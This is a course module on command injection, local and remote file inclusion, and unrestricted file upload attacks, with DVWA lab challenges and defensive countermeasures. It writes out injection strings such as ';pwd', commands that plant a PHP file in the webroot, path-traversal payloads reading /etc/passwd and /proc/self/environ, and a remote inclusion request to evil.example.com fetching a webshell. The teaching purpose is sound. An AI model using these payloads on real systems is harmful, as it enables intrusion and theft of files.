# Command injection & file upload/inclusion
In the case of **command injection** attacks, an adversary tries to run a command on a website that was not intended to be run by the website. This can mean either inside the website's scripting environment (e.g. run a PHP command) or also to execute a command on the operating system level.
We can also differentiate bewteen _command injection_ and _code injection_. The latter is more generic and could also mean e.g. to inject your own PHP commands into a PHP-based web application, or any other server side scripting language, or to inject code into SQL queries. But in many cases this inevitably also leads to command injection, as the interpreter can be used to execute system commands. There are also cases where SQL injections can be used to run system commands through the database system.
One of the main goals of command injection is to gain shell access in order to execute arbitrary commands. This often means that attackers will use this vulnerability to deploy a web shell somewhere in the system.
A **file upload** attack is based on exploiting some legit means to upload a file (e.g. a user profile picture) in order to upload something else (e.g. a PHP file), which can be used in the next step to launch another attack (e.g. call the PHP file to execute system commands).
Another class of file related attacks that can also be used to execute malicious code on a target system is the **file inclusion** attack. In this case an attacker wants to get the web application to include some file that was not intended to be included by the developers. This could either mean to get out some sensitive information from the system (e.g. include the output of a password file), or to be able to execute malicious code that gets included (e.g. a PHP script that was planted somewhere before). Here we can differentiate between **local file inlcusion (LFI)** and **remote file inclusion (RFI)** - more on that in the examples.
## Some examples
Let's use the Wikipedia pages about [Code injection](https://en.wikipedia.org/wiki/Code_injection) and [File inclusion vulnerability](https://en.wikipedia.org/wiki/File_inclusion_vulnerability) for some examples.
In the code injection page's section on [Shell injection](https://en.wikipedia.org/wiki/Code_injection#Shell_injection), there is a very short PHP file:
```php
<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
```
All this file does is to call a programme `funnytext` on the operating system level and provide an argument to it, which comes from the `USER_INPUT` variable in the GET query. The intention here is that users can provide a text, and the `funnytext` programme will replace certain words in the text with something funny, which is then the output of this super simple script.
### A little Linux shell excursion
As the web server seems to be running on a Linux (or Unix) system, as most web servers do, we have to know a little bit of shell syntax and some common system commands to exploit this script. The mentioned [Shell injection](https://en.wikipedia.org/wiki/Code_injection#Shell_injection) section also lists a table with different ways we could inject a command in this example. Some of those options are:
* `; malicious_command` : This will first execute the funnytext programme without any argument and then execute the `malicious_command`
* `| malicious_command` : This will feed the output of the funnytext programme (without any argument) into the command after the pipe, and therefore execute the `malicious_command`
* `&& malicious_command` : This will first execute the funnytext programme (without any arguments) and then, if the exit code of the funnytext programme is 0 (which stands for success) also execute the `malicious_command`
* `|| malicious_command` : This will first execute the funnytext programme (without any arguments) and then, if the exit code of the funnytext programme is not 0 (in case of an error) also execute the `malicious_command`
Of course we can only use the commands that are already on the system (except we can exploit another vulnerability to upload our own scripts and programmes first). Some useful commands which are available on almost any Linux system are:
* `pwd`: Short for _print working directory_. Outputs the directory you (or the webserver process) currently is in.
* `ls -l`: Lists all files (and directories) in the current directory, including file permissions and other metadata (due to the `-l` option)
* `ls -l /var/log`: List all files (and directories) in the `/var/log` directory, independent of where you currently are
* `cat /var/log/apache/access.log`: print the contents of the file `access.log` in the directory `/var/log/apache/`. Similarly `cat something.txt` would just print the contents of the `something.txt` file in the current directory. The contents will of course only be printed if the user also has permissions to do so.
* `echo something`: Will just print the string `something`. This is not very useful on its own, but it can be used as a very inoffensive test whether command injection is working
* `echo something > somefile`: This will also print the string `something`, but instead of printing it to the standard output (and in our case the calling web script), it will redirect the output to the file `something` in the current working directory. This of course only works if the process has the permissions to create and write to this file.
* `echo something >> somefile`: Similar to the above, only that it will append to `somefile` if it already exists. The above `>` redirection would always overwrite an existing file.
* `errorcommand 2>&1`: This will try to execute a command which probably does not exist. The important thing here is the `2>&1` redirection, which redirects the standard error output (2) to the standard output (1). This could be used if you are not seeing any error output on the exploited web page. So if whatever command you are using instead of `errorcommand` does not produce any output, it could be the case that the command fails for some reason and the error output is not printed by PHP and only written to the web server's error log. In that case you can use this redirection to also get the error output.
Some files and directories of interest which will most likely exist on Linux-based webservers:
* `/etc/passwd`: The system user account file (not actually with passwords, these are usually hashed and access-restricted in `/etc/shadow`).
* `/etc`: The directory with almost all system configurations
* `/var/log`: The directory where all system and service logs should go to
* `/var/log/apache2`: The default log directory of an Apache 2 webserver
* `/var/log/nginx`: The default log directory of an Nginx webserver
* `/var/www`: The directory potentially holding web roots (especially with Apache 2 webservers)
* `/var/lib/mysql`: All MySQL or MariaDB related database files (usually restricted to the mysql user)
* `/tmp`: A system-wide directory for temporary file storage, which usually can be written to by any process
### Passing through some funny text
Now let's get back to the little funnytext script above and see what we can do with it. Let's assume this script is running on `http://localhost/funnytext.php`.
So let's make the follwing request: `https://localhost/funnytext.php?USER_INPUT=;pwd`
In that case the webserver might return the following:
```
/var/www/html
```
This is because the funnytext programm did not output anything, as it was not fed with any text as an argument. But the system also executed the next command `pwd`. The script therefore outputs the current working directory of the webserver process.
Let's try the following two consecutive requests:
1. `https://localhost/funnytext.php?USER_INPUT=";echo '<?php' > eve.php"`
2. `https://localhost/funnytext.php?USER_INPUT=";echo 'phpinfo();' >> eve.php"`
Now (if the webroot is not write protected) there should be an `eve.php` file in the webroot with the following content:
```php
<?php
php_info();
```
We can just call it by visting `http://localhost/eve.php`. Imagine the possibilities!
### Including funny stuff
The above mentioned Wikipedia page on file inclusion vulnerabilities has a simple example for how LFI and RFI work.
Let's assume the web application at some point uses the following PHP script at `target.domain/localisation.php` to apply some localisation:
```php
<?php
if (isset($_GET['language'])) {
include($_GET['language'] . '.php');
}
?>
```
For this to work, the user is presented with the following HTML form to choose their preferred language:
```html
<form method="get">
<select name="language">
<option value="english">English</option>
<option value="french">French</option>
...
</select>
<input type="submit">
</form>
```
The browser of course will only render the available options from the HTML form, in the above case English and French, and probably others. So the user can submit the form, and the server side script will then include either the `english.php` or `french.php` file (or other language file, if the options in the form are provided).
But this does not stop anyone, to modify the HTML form before clicking on submit. Just imagine someone would open the developer tools and add the following option to the select box:
```html
<option value="/var/www/html/payload">Ev1Lsp34K!</option>
```
Or just do a similar GET request from the command line (with a tool like [curl](https://curl.se/) or [httpie](https://httpie.io/)) by calling: https://target.domain/localisation.php?language=/tmp/payload
In both cases the PHP script just would add a `.php` to the provided parameter and then include (and execute) this PHP file. In this case it would be a **local file inclusion (LFI)**, where the attacker already took care to place the malicious code in the file `/var/www/html/payload.php`.
But (depending on the PHP configuration) it could be just as simple to do a **remote file inclusion (RFI)** by including some file from a remote server, like in in the following request: https://target.domain/localisation.php?language=http://evil.example.com/webshell.txt?q=void
The Wikipedia page has even some more examples (in those the server name is omitted and the localisation example script is called vulnerable.php):
* `/vulnerable.php?language=C:\\ftp\\upload\\exploit` - Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)
* `/vulnerable.php?language=C:\\notes.txt%00` - example using NULL meta character to remove the .php suffix, allowing access to files other than .php. This use of null byte injection was patched in PHP 5.3, and can no longer be used for LFI/RFI attacks.[5]
* `/vulnerable.php?language=../../../../../etc/passwd%00` - allows an attacker to read the contents of the /etc/passwd file on a Unix-like system through a directory traversal attack.
* `/vulnerable.php?language=../../../../../proc/self/environ%00` - allows an attacker to read the contents of the /proc/self/environ file on a Unix-like system through a directory traversal attack. An attacker can modify a HTTP header (such as User-Agent) in this attack to be PHP code to exploit remote code execution.
### Uploading funny stuff
If file inclusion is not available, maybe the application allows somewhere to upload a file, e.g. a profile picture of the user. If this upload is not well protected, it might be possible to upload a lot of stuff that is not intended to be uploaded, like PHP scripts, or shell scripts, or executables, which could then open the door for a file inclusion attack or for a command injection attack.
What if instead of my `selfie.png` I just upload a `stealthy.php`? If the web application just relies on the web form or some client-side javascript, to make sure I upload a PNG or JPEG image, an attacker can easily circumvent it. Even if the server side PHP script checks for the right extension, they still could upload a PHP file. They would just rename `stealthy.php` to `stealthy.png`. Then they can try to include it by exploiting another LFI vulnerability in the same web app.
There are even cases where it is possible to write malicious PHP code into an image's EXIF data and then include this somewhere else. The OWASP page on unrestricted file uploads (linked in the references) has a good collection of different ways to exploit image uploads for code execution.
## Your hacking challenge
Your mission now is to exploit all three of these vulnerabilities in the DVWA. Start with the _Command Injection_ exercise on the low security level. Then do the _File Inclusion_ and then the _File Upload_ exercise also on the low security level. Only after you did all three of those, increase the level to medium and repeat. Starting on the medium level, you will probably need to combine exploits to solve some of the file related challenges.
The concrete goals are:
* For the **Command Injection** challenges:
- Execute a system command of your choice (e.g. list the contents of the websites root directory)
- Find out what the working directory of this script is
- For bonus points try out what else you can find out about the system
* For the **File Inclusion** challenges:
- Low security level:
- Based on the command injection you did before, you can assume that the working directory of this script is on a similar level as the one in the command injection example itself
- Now try to use path traversal (heading up the directory tree by incrementally using `../`) to find and extract the password file, which resides on the servers root directory under `etc/passwd`
- Medium security level:
- Try again to extract the password file. This time path traversal might not work.
- High security level:
- The task here would be the same again. But we suggest keeping this challenge as a take home exercise, or only to try it in course if you already hacked all other exercises. That is, unless you are already well familiar will null byte and CRLF injections.
* For the **File Upload** challenges:
- Low and medium security levels:
- Try to upload a PHP script and to execute it after you have uploaded it.
- For bonus points upload a PHP script which allows you to execute arbitrary system commands.
- High security level:
- Same challenge. But similar to the file inclusion challanges, keep this rather as a take home exercise. Except you already did the file inlcusion on a high security level.
## Commonality, severity, context
To be able to execute arbitrary commands on a web server hosting a web application is one of the major goals in website attacks. Many attacks, like file uplad or file inclusion attacks, in the end lead to command injection attacks. If command injection is possible on one level (e.g. only the script itself, or in SQL), it is very likely the attack can be also extended to the system level. Once a web shell or any kind of other shell access is established, attackers can do whatever the website's owner also could do on the server. The next step then is often to find flaws for a privilege-escalation attack, to reach root privileges and be able to control the whole server.
In shared hosting environments there is always the possibility that even if your own web application is very secure, that it might be compromised by another less secure website, especially if attackers can gain shell access there. The rest depends on the security of the hosting setup.
**OWASP Top 10**:
Highest rated web app vulnerability: A1 Injection (2013 & 2017). Categorisation in 2013 report:
* Exploitability: EASY
* Prevalence: COMMON
* Detectability: AVERAGE
* Impact: SEVERE
The 2017 report says about injection flaws:
> Injection flaws are very prevalent, particularly in legacy code. Injection vulnerabilities are often found in SQL, LDAP, XPath, or NoSQL queries, OS commands, XML parsers, SMTP headers,
expression languages, and ORM queries.
> Injection flaws are easy to discover when examining code. Scanners and fuzzers can help attackers find injection flaws.
File uploads and file inclusion vulnerabilities are not listed on their own. Most of the times they are used to accomplish either an injection attack or to expose (potentially sensitive) data. The OWASP Top 10 lists _Security Misconfiguration_ and _Sensitive Data Exposure_ on the positions 5 & 6 in the 2013 report and 3 & 5 in the 2017 report. While security misconfiguration can be a reason why malicious file uploads and file inclusions are possible, sensitive data exposure might be a result of it.
## Countermeasures
For all attack types presented here, one of the most important countermeasures is to use proper **input validation**. Additionally, whitelisting can be quite impactful, especially when you have to execute system commands.
1. Do not call OS commands from your scripts.
- Try rather to use whatever you want to do within the scripting language or use establised libraries
2. If you still have to call system commands:
- Only allow a fixed list of commands to be executed (aka whitlisting)
- If user input is used as options to one of the commands:
- do not use it directly
- rather create the final options used in the command in some conditional structure (e.g. if/else or switch/case for PHP scripts)
- Validate input very strictly with good regular expressions, or even better, built-in filter functions of an establised framework
3. When allowing certain file uploads:
- always check file size, file extension and mime/type on the server side
- ideally also check whether the mime/type corresponds to the actual file's content
- do not store the files directly
- create a new random filename an store it there
- ideally do not store the file on a web-accessible path
- never ever execute a file uploaded by the user (except you want to do that in a sandboxed environment to see what it does)
- if you have influence on the server environment, use a virus scanner, and make sure to always use up-to-date libraries (e.g. for image manipulation or compression), if you are using any of them to do stuff with the files
4. When you include files depending on user input:
- similar to calling system commands: validate input very strictly and do not use the user input directly in the include statement
## Further resources & references
* https://owasp.org/www-community/attacks/Command_Injection
* https://owasp.org/www-community/attacks/Code_Injection
* https://en.wikipedia.org/wiki/Code_injection (also redirect to from "Command injection")
* [Use SQL Injection to Run OS Commands & Get a Shell](https://null-byte.wonderhowto.com/how-to/use-sql-injection-run-os-commands-get-shell-0191405/) @ WonderHowTo , using the DVWA as an example to demonstrate this attack
* https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
* https://en.wikipedia.org/wiki/File_inclusion_vulnerability
* https://owasp.org/www-community/vulnerabilities/CRLF_Injection